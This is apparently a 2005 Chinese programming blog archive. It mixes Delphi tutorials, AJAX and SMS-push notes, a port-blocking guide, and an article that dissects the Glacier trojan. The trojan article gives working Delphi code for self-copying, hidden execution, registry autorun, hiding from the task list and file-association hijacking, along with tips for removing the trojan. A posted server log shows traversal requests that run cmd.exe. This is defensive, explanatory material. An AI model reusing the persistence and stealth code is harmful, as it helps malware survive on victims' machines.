SetForegroundWindow(hPrevWnd);
//如果此窗口有弹出窗口,设置焦点到弹出窗口.
SetForegroundWindow(GetLastActivePopup(hPrevWnd));
break;
end else
//没有找到窗口,转到窗口列表中下一个窗口.
hPrevWnd := GetWindow(hPrevWnd, GW_HWNDNEXT);
end;
Application.Terminate;
exit;
end;
5.删除登录窗口先前实例标识符
删除步骤3中创建的窗口标记。
procedure TLoginForm.FormDestroy(Sender: TObject);
begin
RemoveProp(Handle, PChar(Application.ExeName));
end;
6.删除主窗体先前实例表示符
删除步骤4中创建的窗口标记。
procedure TMainForm.FormDestroy(Sender: TObject);
begin
RemoveProp(Handle, PChar(Application.ExeName));
end;
二、技术要点
1.定位先前窗口,使用mutex比用FindWindow更安全,因为在实例完成创建主窗口之前,应用程序的第二个实例有可能启动。使用mutex可以防止此类情况发生。
2.要寻找应用程序先前实例主窗口,可用FindWindow寻找有标题的窗口。该方法需要知道主程序窗口的标题,但如果应用程序动态更新标题,则该方法不适用。也可用FindWindow来寻找具有具体注册窗口类的窗口。但该方法需要注册用户自己的窗口类,而且以后版本升级时,可能需要修改代码。而采用SDK的SetProp函数来“标记”窗口可以避免上述问题。
3.通过调用API函数GetDesktopWindow和GetWindow可以搜索所有的顶层窗口。再通过判断窗口标记找到先前实例窗口。

2005-11-23

冰河”启示录

冰河”启示录
2005-07-22 文/
作者: 陈经韬 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3                    (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看.http://lovejingtao.126.com 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TFORM1.FORMCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename < > GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]< > '\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TFORM1','FORM1')=0 then begin //当没有找到FORM1时执行下面代码 Application.ShowMainFORM:=False; //不显示主窗口 Application.CreateFORM(TFORM1, FORM1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses FORMs,windows,messages, Unit1 in 'Unit1.pas' {FORM1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TFORM1.FORMCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename < > GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可.                   (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TFORM1.FORMCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao,http://lovejingtao.126.com} WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount> 0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了.

2005-11-12

安全

最直接的办法,把系统不用的端口都关闭掉,然后从新启动,如果瑞星还提示有漏洞攻击,你来找我。
注:关闭的端口有,135,137,138,139,445,1025,2475,3127,6129,3389,593,还有tcp.
具体操作如下:
默认情况下,Windows有很多端口是开放的,在你上网的时候,网络病毒和黑客可以通过这些端口连上你的电脑。为了让你的系统变为铜墙铁壁,应该封闭这些端口,主要有:TCP 135、139、445、593、1025 端口和 UDP 135、137、138、445 端口,一些流行病毒的后门端口(如 TCP 2745、3127、6129 端口),以及远程服务访问端口3389。下面介绍如何在WinXP/2000/2003下关闭这些网络端口:

  第一步,点击"开始"菜单/设置/控制面板/管理工具,双击打开"本地安全策略",选中"IP 安全策略,在本地计算机",在右边窗格的空白位置右击鼠标,弹出快捷菜单,选择"创建 IP 安全策略"(如右图),于是弹出一个向导。在向导中点击"下一步"按钮,为新的安全策略命名;再按"下一步",则显示"安全通信请求"画面,在画面上把"激活默认相应规则"左边的钩去掉,点击"完成"按钮就创建了一个新的IP 安全策略。

  第二步,右击该IP安全策略,在"属性"对话框中,把"使用添加向导"左边的钩去掉,然后单击"添加"按钮添加新的规则,随后弹出"新规则属性"对话框,在画面上点击"添加"按钮,弹出IP筛选器列表窗口;在列表中,首先把"使用添加向导"左边的钩去掉,然后再点击右边的"添加"按钮添加新的筛选器。

  第三步,进入"筛选器属性"对话框,首先看到的是寻址,源地址选"任何 IP 地址",目标地址选"我的 IP 地址";点击"协议"选项卡,在"选择协议类型"的下拉列表中选择"TCP",然后在"到此端口"下的文本框中输入"135",点击"确定"按钮(如左图),这样就添加了一个屏蔽 TCP 135(RPC)端口的筛选器,它可以防止外界通过135端口连上你的电脑。

  点击"确定"后回到筛选器列表的对话框,可以看到已经添加了一条策略,重复以上步骤继续添加 TCP 137、139、445、593 端口和 UDP 135、139、445 端口,为它们建立相应的筛选器。

  重复以上步骤添加TCP 1025、2745、3127、6129、3389 端口的屏蔽策略,建立好上述端口的筛选器,最后点击"确定"按钮。

  第四步,在"新规则属性"对话框中,选择"新 IP 筛选器列表",然后点击其左边的圆圈上加一个点,表示已经激活,最后点击"筛选器操作"选项卡。在"筛选器操作"选项卡中,把"使用添加向导"左边的钩去掉,点击"添加"按钮,添加"阻止"操作(右图):在"新筛选器操作属性"的"安全措施"选项卡中,选择"阻止",然后点击"确定"按钮。

  第五步、进入"新规则属性"对话框,点击"新筛选器操作",其左边的圆圈会加了一个点,表示已经激活,点击"关闭"按钮,关闭对话框;最后回到"新IP安全策略属性"对话框,在"新的IP筛选器列表"左边打钩,按"确定"按钮关闭对话框。在"本地安全策略"窗口,用鼠标右击新添加的 IP 安全策略,然后选择"指派"。 然后重启机器,OK!!


--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com

2005-11-03

发现服务器有被攻击的记录,好在系统没什么漏洞

发现服务器有被攻击的记录,好在系统没什么漏洞
 
 
2005-11-04 05:59:39 211.151.230.126 GET / - 80 - 221.214.126.122 - 403 14 64
2005-11-04 05:59:39 211.151.230.126 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 80 -     221.214.126.122 - 404 0 64
2005-11-04 05:59:40 211.151.230.126 GET /scripts/..翢../winnt/system32/cmd.exe /c+dir 80 -    221.214.126.122 - 404 0 64
2005-11-04 05:59:40 211.151.230.126 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 80 -     221.214.126.122 - 404 0 64
2005-11-04 05:59:42 211.151.230.126 GET /scripts/..蜡../winnt/system32/cmd.exe /c+dir 80 -    221.214.126.122 - 404 0 64
2005-11-04 05:59:42 211.151.230.126 GET /scripts/..罒../winnt/system32/cmd.exe /c+dir 80 -    221.214.126.122 - 404 0 64
2005-11-04 05:59:43 211.151.230.126 GET /scripts/..翜../winnt/system32/cmd.exe /c+dir 80 -    221.214.126.122 - 404 0 64
2005-11-04 05:59:43 211.151.230.126 GET /scripts/..怜../winnt/system32/cmd.exe /c+dir 80 -    221.214.126.122 - 404 0 64
2005-11-04 05:59:44 211.151.230.126 GET /scripts/..鄝?./winnt/system32/cmd.exe /c+dir 80 -    221.214.126.122 - 404 0 64
2005-11-04 05:59:44 211.151.230.126 GET /scripts/..饊€?./winnt/system32/cmd.exe /c+dir 80 -   221.214.126.122 - 404 0 64
2005-11-04 05:59:46 211.151.230.126 GET /scripts/..鴢€€?./winnt/system32/cmd.exe /c+dir 80 -  221.214.126.122 - 404 0 64
2005-11-04 05:59:46 211.151.230.126 GET /scripts/..鼆€€€?./winnt/system32/cmd.exe /c+dir 80 - 221.214.126.122 - 404 0 64
 


--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com
 

2005-10-27

网页的随便拖拉 - AJAX

【江湖普及】网页的随便拖拉 - AJAX

提交者 : Red Sox 于 PAOWANG.COM 北京时间 2005-09-29 15:43:24







首先谢谢35F2还有hufey的工作,让泡网也能跟上潮流RSS一把。

下面讲的web 2.0还有personal portal,都是互联网最近最热的话题,也不知道是真的发展方向还是又一次类似".com"的炒作。每家大公司都在做这个。My MSN, My google, start.com, My Yahoo(就这个不能拖拉)

今天先给大家普及一下这个随便脱来拉去是怎么回事。其实google map早已经用这个了(还在用yahoo map的同学请起立站到队伍后面去),这玩艺叫AJAX,就是阿贾克斯。(还在看足球的同学请起立站到队伍外面去)
____________________________

Web 介面設計新趨勢 - AJAX

嚴格說起來, AJAX 並不是什麼新鮮的技術,而且也不複雜高深,但是自從 AJAX 這個名子出來之後,以及 Google 幾個 Killer 級的服務應用 AJAX,使得 AJAX 好像在突然間大鳴大放,每個網站都想要開始採用類似的技術,但是 AJAX 真的有這麼好嗎?在瞭解 AJAX 之前先來看幾個成功的例子:

實例介紹


* Google Map
Google Map 是應用 AJAX 技術最成功的例子,只要一提起 AJAX,一定也會舉 Google Map 做範例。底下是 Google Map 的 UI,如果你有用過一定很熟悉:



你可以直接在 Google Map 的網頁上拖拉縮放整面地圖,地圖細節則會慢慢顯示出來,就好像在你自己的電腦上使用 papago 等軟體一樣,這就是 Google Map 最引人津津樂道的 UI 設計,但是他怎麼做到的?


* Google Suggest



Google Suggest 則是另外一個例子,當你在搜尋欄位中輸入關鍵字時,這時候網頁會蹦出幾個 suggestion 讓你選擇,每個 suggestion 後面還有該關鍵字的搜尋筆數,我們都知道,Google 不可能在你一登入網頁時就預先存取好這些資料,因為這些資料量太大了,如果預先存取,你光登入 Google Suggest 首頁就要十幾分鐘,那它是怎麼做到的?


* GMail
GMail 也是一個例子,在你登入你的 Gmail Account 之後,你所看到的信件選單,信件內容等都是在同一個網頁中顯示,不論你怎麼選擇你都不會做換頁,它是怎麼做到的?



還有編輯信件時,拼字檢查是怎麼做到的?




* Technorati Search Beta
Technorati search 除了 search blog 文章外,現在也多了搜尋 flickr 圖片以及 furl 和 del.icio.us 的功能,算是半個 meta-search engine 吧,而且這些搜尋的結果都是在同一個頁面中顯示出來,最快顯示出來的資料當然是他自己 index 的 blog 文章,但當你在瀏覽結果時,網頁的右手邊也沒閒著,正在幫你查詢 flickr, furl, del.lcio.us 的結果呢!它是怎麼做到的呢?




這些問題的答案就是 AJAX。

傳統網頁流程的設計都是 Web Page -> CGI -> Web Page (Response) 的順序,這之間整個頁面都要經過重載,而且 CGI 在處理時是需要時間的,所以使用者在這段時間中需要等待,但是這樣的作法跟我們使用一般桌面應用軟體的習慣不同,在多數的應用軟體中,即使是需要等待處理的程序,也會先把處理完的結果先顯示出來,但是在傳統的網頁流程設計中,這是很難達到的。傳統的網頁流程設計是 synchronous 的,而 AJAX 是 Asynchronous,這就是為什麼 AJAX 的全名是: Asynchronous JavaScript And XML ( Synchronous / Asynchronous 的概念就好像是寫 network socket 程式時,synchronous / asynchronous IO,或是 blocking / none-blocking IO 的概念類似)。

AJAX 並不是新的技術,早在這個名詞出來以前,此類的技術就已經被廣泛運用了,後來由 Adaptive Path 這家公司取了 AJAX 這個名詞來代表此類的技術。所以在這家公司的網站上可以找到一篇由 Jesse James Garrett 所寫的 Ajax: A New Approach to Web Applications 文章,可以幫助大家瞭解 AJAX 的定義以及技術層次的問題,這篇文章部分也被 Jacky's blog 翻譯成中文。其實說穿了,AJAX 就是運用 Javascript 在背景偷偷幫你去跟伺服器要資料,最後再由 Javascript 或 DOM 來幫你呈現結果,因為所有動作都是由 Javascript 代勞,所以省去了網頁重載的麻煩,使用者也感受不到等待的痛苦,讓使用 Web Service 更像是在操作桌面軟體。

但是, AJAX 真的那麼實用嗎?網路上也有不少 blog 在批評 AJAX:


* Ajax: 99% Bad
* 嘟嘟老窝's AJAX的七宗罪
這篇文章講得很好,說中了 AJAX 的麻煩所在。
* Ajax:剩下什麼呢?



AJAX 存在的目的跟 Flash 有點雷同,都是要改進 Web UI 的呈現方式,但是既然不同於傳統的 WebUI 呈現,便會出現一些不相容性,例如不利於搜尋引擎做 index,以及造成一個沒有 history 及 backforward 的網頁瀏覽,這都不一定是使用者想要的,並不是所有的網頁都適合使用 AJAX 技術來改進 UI 呈現,在貿然轉移前還是有必要多思考。




--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com

2005-10-26

sms push格式

[推荐]sms push格式 (好文章啊)

sms push格式

00     'SMSC Len。用手机上设置短信中心号码

51     'submit type

00     'SMS_TP_Message_Reference type

0B    '对方电话的长度

A1     'Number type

13166416588F8       '电话号码:13661456888

00     'SMS_TP_PID

F5     'SMS DCS

A744         'SMS available date

0B05040B8423F00003030101         'Wap Push Header 1

29060603AE81EA8DCA   'Wap Push header 2

02

05  '-//WAPFORUM//DTD SI 1.0//EN

6A  'UTF-8

00

45  '<si>

C6  '<indication

08  '<action=signal-high>

0C  'href="http://

03  '字符串开始

687474703A2F2F696D732E6E656173652E6E6574  'URL:   http://ims.nease.net

00  'URL 字符串结束

01  '>

03  '内容描述字符串开始

'这里就是显示给用户的内容,用utf-8编码。

E796AFE78B82E79FADE4BFA1       '内容描述:疯狂短信

00  '内容描述字符串结束

01  '</indication>"

01  '</si>

--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com

2005-10-25

thinkle

是我的就是我的,
            不是我的
                  抢过来,也就是我的了。。。。。。
                 
                 

  在大学时光里,我以为我净化了,其实那是虚伪;我以为我成熟了,其实那是表象;
       我以为我提高了,其实那是幼稚;我以为我拥有了许多,其实那是幻想。

--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com

2005-10-24

Delphi中的INI文件编程

Delphi中的INI文件编程

    INI文件在系统配置及应用程序参数保存与设置方面,具有很重要的作用,所以可视化的编程一族,如VB、VC、VFP、Delphi等都提供了读写INI 文件的方法,其中Delphi中操作INI文件,最为简洁,这是因为Delphi3提供了一个Tinifile类,使我们可以非常灵活的处理INI文件。

    一、有必要了解INI文件的结构:

    ;注释

    [小节名]

    关键字=值

    INI文件允许有多个小节,每个小节又允许有多个关键字, "="后面是该关键字的值。

    值的类型有三种:字符串、整型数值和布尔值。其中字符串存贮在INI文件中时没有引号,布尔真值用1表示,布尔假值用0表示。

    注释以分号";"开头。

    二、定义

    1、在Interface的Uses节增加IniFiles;

    2、在Var变量定义部分增加一行:

    myinifile:Tinifile;

    然后,就可以对变量myinifile进行创建、打开、读取、写入等操作了。

    三、打开INI文件

    myinifile:=Tinifile.create(`program.ini`);

    上面这一行语句将会为变量myinifile与具体的文件 program.ini建立联系,然后,就可以通过变量myinifile,来读写program.ini文件中的关键字的值了。

    值得注意的是,如果括号中的文件名没有指明路径的话,那么这个Program.ini文件会存储在Windows目录中,把Program.ini文件存 储在应用程序当前目录中的方法是:为其指定完整的路径及文件名。下面的两条语句可以完成这个功能:

Filename:=ExtractFilePath(Paramstr

(0))+`program.ini`;

myinifile:=Tinifile.Create(filename);

    四、读取关键字的值

    针对INI文件支持的字符串、整型数值、布尔值三种数据类型,TINIfiles类提供了三种不同的对象方法来读取INI文件中关键字的值。

    假设已定义变量vs、vi、vb分别为string、 integer、boolean类型。

    vs:=myinifile.Readstring

    (`小节名`,`关键字`,缺省值);

    vi:=myinifile.Readinteger

    (`小节名`,`关键字`,缺省值);

    vb:=myinifile.Readbool

    (`小节名`,`关键字`,缺省值);

    其中缺省值为该INI文件不存在该关键字时返回的缺省值。

    五、写入INI文件

    同样的,Tinifile类也提供了三种不同的对象方法,向INI文件写入字符串、整型数及布尔类型的关键字。

    myinifile.writestring(`小节名`,`关键字`,变量或字符串值);

    myinifile.writeinteger(`小节名`,`关键字`,变量或整型数值);

    myinifile.writebool(`小节名`,`关键字`,变量或True或False);

    当这个INI文件不存在时,上面的语句还会自动创建该INI文件。

    六、删除关键字

    除了可用写入方法增加一个关键字,Tinifile类还提供了一个删除关键字的对象方法:

    myinifile.DeleteKey(`小节名`,`关键字`);

    七、小节操作

    增加一个小节可用写入的方法来完成,删除一个小节可用下面的对象方法:

    myinifile.EraseSection(`小节名`);

    另外Tinifile类还提供了三种对象方法来对小节进行操作:

    myinifile.readsection(`小节名`,Tstrings变量);可将指定小节中的所有关键字名读取至一个字符串列表变量中;

    myinifile.readsections(Tstrings变量);可将INI文件中所有小节名读取至一个字符串列表变量中去。

    myinifile.readsectionvalues(`小节名`,Tstrings变量);可将INI文件中指定小节的所有行(包括关键字、=、值)读取至一个字符串列表变量中去。

    八、释放

    在适当的位置用下面的语句释放myinifile:

    myinifile.distory;

    九、一个实例

    下面用一个简单的例子(如图),演示了建立、读取、存贮INI文件的方法。

    Myini.ini文件中包含有"程序参数"小节,和用户名称(字符串)、是否正式用户(布尔值)和已运行时间(整型值)三个关键字。程序在窗体建立读取这些数据,并在窗体释放时写myini.ini文件。

    附源程序清单

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs,inifiles,StdCtrls, ExtCtrls;
type
TForm1 = class(Tform)
Edit1: Tedit;
CheckBox1: TCheckBox;
Edit2: Tedit;
Label1: Tlabel;
Label2: Tlabel;
Timer1: Ttimer;
Label3: Tlabel;
procedure FormCreate(Sender: Tobject);
procedure FormDestroy(Sender: Tobject);
procedure Timer1Timer(Sender: Tobject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;

implementation
var
myinifile:Tinifile;
{$R *.DFM}

procedure TForm1.FormCreate(Sender: Tobject);
var
filename:string;
begin
filename:=ExtractFilePath(paramstr(0))+`myini.ini`;
myinifile:=Tinifile.Create(filename);
edit1.Text:= myinifile.readstring
(`程序参数`,`用户名称`,`缺省的用户名称`);
edit2.text:= inttostr(myinifile.readinteger
(`程序参数`,`已运行时间`,0));
checkbox1.Checked:= myinifile.readbool
(`程序参数`,`是否正式用户`,False);
end;

procedure TForm1.FormDestroy(Sender: Tobject);
begin
myinifile.writestring(`程序参数`,`用户名称`,edit1.Text);
myinifile.writeinteger(`程序参数`,`已运行时间`,
strtoint(edit2.text));
myinifile.writebool(`程序参数`,`是否正式用户`,
checkbox1.Checked);
myinifile.Destroy;
end;

procedure TForm1.Timer1Timer(Sender: Tobject);
begin
edit2.Text:=inttostr(strtoint(edit2.text)+1);
end;

end.

    程序在Pwin95、Delphi3下调试通过。



--
时间这种东西,你要是不消磨它,它就要消磨你
http://www.ist.cn/
http://www.joyspaces.com
http://www.thinkle.com

Delphi中关于TApplication类的详解

Delphi中关于TApplication类的详解


作者佚名 来源InterNet 加入时间:2004-11-25

Delphi中关于TApplication 类的详解

 

  TApplicationDelphi 应用程序的类型,该类是从TComponent继承,在单元Forms中声明。并且在Forms 中有个公用的对象Application。其方法和属性集中包括了 Windows操作系统中创建、运行和销毁应用程序等既定的基本操作和属性,因此在用 Delphi编写 Windows应用程序时简化了用户和Windows环境之间的接口。 TApplication封装了以下四个功能:

1Windows消息处理。

2、菜单加速和键盘处理。

3、异常处理。

4、上下文联机帮助。

下面就向大家介绍TApplication中的常用属性、方法和事件。

1、属性

1.   1属性Active

属性Active指明了应用程序是否处于活动状态且拥有焦点。定义如下:

  property Active: Boolean;

Active是只读属性。当应用程序是活动状态时ActiveTrue,否则为FalseTApplica-tion的构造器 (constructor) ActiveTrue。如果窗口或应用程序拥有焦点,那么该应用程序是活动的。当其它应用程序的窗口成为活的时,当前应用程序即为非活动的。应用程序关闭时 TApplication的析构器(destructor) ActiveFalse

在应用程序中,可以用一个计时器(TTimer)来检查属性 Active的值,从而确定当前的应用程序是否是活动状态,以便作出相应的处理。也可以在事件OnActive和事件OnDeactive 中定义指定的操作。

  12属性 DialogHandle

  属性DialogHandle提供使Delphi 应用程序使用非Delphi对话框的一种机制。定义如下:

  property DialogHandle: HWnd;

当使用API函数CreateDialog 创建一个非模式化对话框时需要使用 DialogHandle,并且需要查看应用程序消息循环中的消息以进行相应的操作。比如,当一个非模式化对话框收到一条激活消息(WM_NCACTIVATE) 时可以将其句柄赋值到 DialogHandle,当对话框收到一条解除激活消息时置DialogHandle 0

13属性 ExeName

  属性ExeName包含了可执行的应用程序文件名极其路径信息。定义如下:

  property ExeName: string;

      ExeName是只读属性。使用 ExeName能够得到应用程序可执行文件的文件名。

这是一个很有用的属性。例如,运行光盘中的应用程序 f:\media\myapp.exe 时,可能需要访问目录 f:\media\data\ 中的文件或者确定应用程序所在的驱动器盘符。 这时可以使用Delphi 提供的函数ExtractFilePathExtractFileName对属性ExeName 进行解析,从而得到需要的信息。

14属性 Handle

  属性Handle提供了对应用程序主窗口句柄的访问。定义如下:

  property Handle: HWND;

当调用一个需要父窗口句柄的 Windows API函数时需要使用 Handle属性。例如,应用程序中某个动态链接库(DLL) 可能需要父窗口句柄以使得其自身能够弹出并且显示在最前端。使用Application.Handle 构成应用程序的若干窗口,使得这些窗口在应用程序中能够被最小化、恢复、有效或无效。注意:编写一个使用 VCL窗体的动态链接库时,应将主运行程序中主窗口的句柄赋值到该动态链接库的Application.Handle 属性。这样就使得动态链接库的窗体成为主应用程序的一部分。需要特别指出的是,永远不要在EXE应用程序中给Application.Handle赋值。

15属性 HelpFile

  属性HelpFile指明了应用程序用于显示帮助内容的文件名。定义如下:

  property HelpFile: string;

使用HelpFile是为了应用程序拥有一个使用标准 Windows帮助系统的帮助文件。Windows显示由HelpFile属性指明的帮助文件。要让应用程序实现这一点,必须在运行时为 HelpFile属性赋予一个文件名的值,或者在设计时Project|Options对话框的Application 页面中指定一个帮助文件。默认情况下,HelpFile是一个空串(''),并且应用程序的帮助方法忽略所有的试图显示帮助。如果HelpFile 包括任何内容,帮助主题的方法将根据文件名调出 Windows帮助系统以提供联机帮助。

  注意:如果活动窗口的帮助文件已指定,则该文件将优先于应用程序的帮助文件显示。

16属性 Hint

  属性Hint指明了出现在帮助提示框(Help Hint box) 中的文本字符串。定义如下:

  property Hint: string;

TApplication.Hint属性就是鼠标正在移动经过的控件或菜单项的 Hint 值。该属性也能被赋予一个向用户提供动作、错误或其它信息的字符串值。因此,使用Hint属性也能够:从控件传递提示信息到另一显示区,例如通过OnHint事件句柄将提示显示到状态栏中。这时是读取 Hint属性。当应用程序正在进行某一动作时简要描述其状态。这时是设置Hint属性。当OnHint 事件发生时帮助提示才出现。因此,即使TApplicationHint属性被赋予状态栏的标题,例如状态栏控件的标题显示Hint 属性的当前字符串值,也应归于OnHint事件。

Hint字符串包括两部分:短提示和长提示。短提示用于简洁的弹出提示;长提示与短提示之间用竖线"|" 隔开,用于在状态栏中显示较详细的提示信息。可以使用单元 Controls中提供的字符串函数GetShortHintGetLongHintHint属性中分解得到短提示和长提示。

注意:当应用程序通过设置Hint属性向用户提供某一事件发生的信息时应当切记,默认情况下,当鼠标移动经过某一控件时, Hint字符串被复位到该控件的Hint属性值。

17属性 HintHidePause

属性HintHidePause 指定了鼠标尚未从控件或菜单项上移开、在隐藏帮助提示之前的时间间隔。定义如下:

  property HintHidePause: Integer;

HintHidePause以毫秒为单位指定等待时间,在 TApplication 的构造器中该属性被置为2500毫秒(2.5 )。控件或菜单项的帮助提示在Hint属性中指定。

注意:默认应将HintHidePause的值预先确定为 HintPause属性值的35倍较合适。

18属性 MainForm

  属性MainForm唯一标识了应用程序的主窗体。定义如下:

  property MainForm: TForm;

属性MainForm指定的窗体不一定等同于应用程序的主窗口。属性 MainForm的值一定是由方法CreateForm创建的所有窗体中的第一个窗体,但该窗体未必是应用程序的主窗口。新建一个工程时,MainForm 属性值自动置为Form1。在设计时可通过Project|Options对话框中的Forms 页面在多个窗体中指定其中之一为MainForm。在运行时是不能修改MainForm属性的,因为该属性是只读的。主窗体是应用程序主题创建的第一个窗体。主窗体关闭即应用程序终止。在应用程序中,可以调用方法 Application.MainForm.Close来终止应用程序运行,可以获取Application.MainForm.TopApplication.MainForm.Left 等属性的值从而确定当前活动窗口的位置以及尺寸等。

19属性 ShowMainForm

  属性ShowMainForm确定了是否在应用程序启动时显示主窗体。定义如下:

  property ShowMainForm: Boolean;

应用程序用ShowMainForm属性控制是否以及何时显示其主窗体。 TApplication的构造器置ShowMainFormTrue。默认情况下主窗体将被显示, MainForm属性中指明了主窗体。

如果需要在应用程序启动时隐藏主窗体,那么应在主工程文件中调用 Application.Run 之前置ShowMainFormFalse,并且确信主窗体的Visible 属性值为False。这在许多实现OLE自动化服务器是很有用的,比如在启动自动化服务时隐藏服务器程序的主窗体。

另外,如果需要在应用程序启动时显示一个闪出图片(Flash) 并为应用程序的环境做一些准备,同时需要禁止主窗体显示,这也可以利用属性 ShowMainForm来实现。比如Delphi启动时就禁止了主窗体的显示。

110属性 Terminated

  属性Terminated报告程序是否收到终止程序的Windows 消息WM_QUIT。定义如下:

  property Terminated: Boolean;

Terminated是只读属性。该属性主要用于调用ProcessMessages 方法时应用程序不必在停止后试图处理Windows 消息。当ProcessMessages方法收到消息WM_QUIT 时,Terminated将被置为True

  Delphi应用程序总会因为主窗体或应用程序关闭,或者因为Terminate 方法被调用而收到消息WM_QUIT

  当应用程序执行强度较大、占用系统资源较多的运算时,应当周期性地调用Applicati-on.ProcessMessages 方法,并检查属性Application.Terminated以确定是否需要终止运算从而终止应用程序。

111属性 UpdateFormatSettings

属性UpdateFormatSettings指明了当用户改变系统配置时应用程序是否自动更新格式设置。定义如下:

  property UpdateFormatSettings: Boolean;

